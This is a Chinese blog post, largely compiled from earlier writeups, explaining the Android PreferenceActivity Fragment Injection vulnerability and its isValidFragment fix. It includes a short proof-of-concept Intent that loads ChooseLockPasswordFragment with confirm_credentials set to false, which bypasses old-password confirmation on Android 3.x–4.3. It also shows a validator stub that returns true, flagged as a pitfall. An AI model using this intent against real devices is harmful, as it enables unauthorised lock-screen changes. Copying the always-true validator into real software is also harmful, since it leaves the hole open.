1 概述

这个月太忙,生活工作事情都是到了年关,好几个周末都无休了。想了半天不知道写啥,前段时间翻阅乌云的历史遗迹,对于这类注入问题,感觉应该加深一下印象,因此,在高铁上就拿这篇文章大部分都是转载 + 自我总结进行凑数了
参考文章
Fragment Injection漏洞杂谈 – 路人甲
Android框架攻击之Fragment注入
Android静态安全检测 -> Fragment注入攻击漏洞
Activity与fragment之间的传值:fragment的setArguments()和getArguments()
Fragment基础概念

2 Fragment 漏洞简述

Android Framework提供了android.preference.PreferenceActivity这个类来对preference进行展示,我们可以继承这个类来展示preference并进行扩展。基类中会接收Intent数据,并进行一定检查,其中两个比较重要:

PreferenceActivity.EXTRA_SHOW_FRAGMENT (':android:show_fragment') PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (':android:show_fragment_arguments')

2.1 参数传递关键点:参数传递

第一个extra域包含PreferenceActivity要动态加载的Fragment,Fragment也可以通过Fragment.getActivity这个函数来获取传进来的参数。PreferenceActivity会调用Fragment.instantiate来动态加载Fragment.这个函数通过反射来加载Fragment,并把它变成Fragment对象
第二个extra域包含传给该Fragment的参数,
其中最关键的逻辑代码在这里

mSinglePane = hidingHeaders || !onIsMultiPane();String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

2.2 历史漏洞锁屏密码重置漏洞-抄的

这是3.X到4.3中的所有版本的一个漏洞,太老了没啥用的,Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:

 Intent intent = getActivity().getIntent(); final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);     if (savedInstanceState == null) {          updateStage(Stage.Introduction);          if (confirmCredentials) {              mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);          }      } else {           mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);           final String state = savedInstanceState.getString(KEY_UI_STAGE);           if (state != null) {                mUiStage = Stage.valueOf(state);                updateStage(mUiStage);            }      }

如果传入的参数当中,key为"confirm_credentials"为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:

Intent intent = new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);intent.setClassName("com.android.settings", "com.android.settings.Settings");intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");intent.putExtra("confirm_credentials", false);startActivity(intent);

正常的密码修改流程是"设置"->“安全”->“屏幕锁定”->“确认你的PIN”,如所下图所示:

攻击之后变成

2.3 历史漏洞修复方法-还是抄的

【1】isValidFragment(String fragmentName)  返回Boolean(子类应当重写这个方法,并对fragment进行校验判断)

这里直接return true一定是有问题的

public final class MyPreferenceActivity extends PreferenceActivity {private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{//TODO 做合法性检查return true;// 注意check,千万要注意}//添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行protected boolean isValidFragment(String fragmentName) {return doValidcheck(fragmentName);}@Overrideprotected void onCreate(Bundle savedInstanceState) {//在onCreate前就做合法性判断String fragmentname = getIntent().getStringExtra(":android:show_fragment");doValidcheck(fragmentname);super.onCreate(savedInstanceState);}}

3 其他的知识

3.1 Activity和Fragment其他的传值方式

Fragment和Activity还有当前一般使用下面这种参数传递的方法,也是抄来的
写入方法:将bundle通过setArguments(bundle)方法设置进fragment:fragment.setArguments(bundle);

Fragment01 fragment01 = new Fragment01();Bundle bundle = new Bundle();bundle.putString("str","这是MainActivity传来的值~");fragment01.setArguments(bundle);

读取方法 指定的对象,通过getArguments 进行读取

String str = (String)getArguments().get("str");

如果通过组件暴露,控制setArgument的参数,也能够进行攻击,属于攻击的另外一种形式

3.2 Activity的继承关系

1】java.lang.Object【2】android.content.Context【3】android.content.ContextWrapper【4】android.view.ContextThemeWrapper【5】android.app.Activity【6】android.app.ListActivity【7】android.preference.PreferenceActivity

3.3 综上所述

综上所述,这个漏洞虽然修了,但是修复能力主要依赖于开发人员的能力问题,这类问题在新版本上,依然存在

更多相关文章

  1. Android(安卓)JSBridge的原理与实现
  2. Android面试题精选,自己收藏下
  3. Android中的soundpool小结
  4. ubuntu下adb调试android找不到设备的解决方法
  5. Android(安卓)WebView 详解
  6. android GPS开启方法 代码
  7. Retrofit2.0+网络框架HTTP实战
  8. Android(安卓)Fragmnet的使用新体会
  9. Android中的悬浮对话框和即点即关对话框

随机推荐

  1. Android(安卓)VNC Server New
  2. Retrofit2的使用
  3. ListActivity使用注意
  4. Android(安卓)桌面应用管理
  5. Android(安卓)- 代码片段
  6. 【Android休眠】之休眠锁的获取和释放
  7. Android(安卓)Camera 调用流程
  8. Android——permission 列表
  9. Android(安卓)LocationManager 使用
  10. Volley框架解读(二)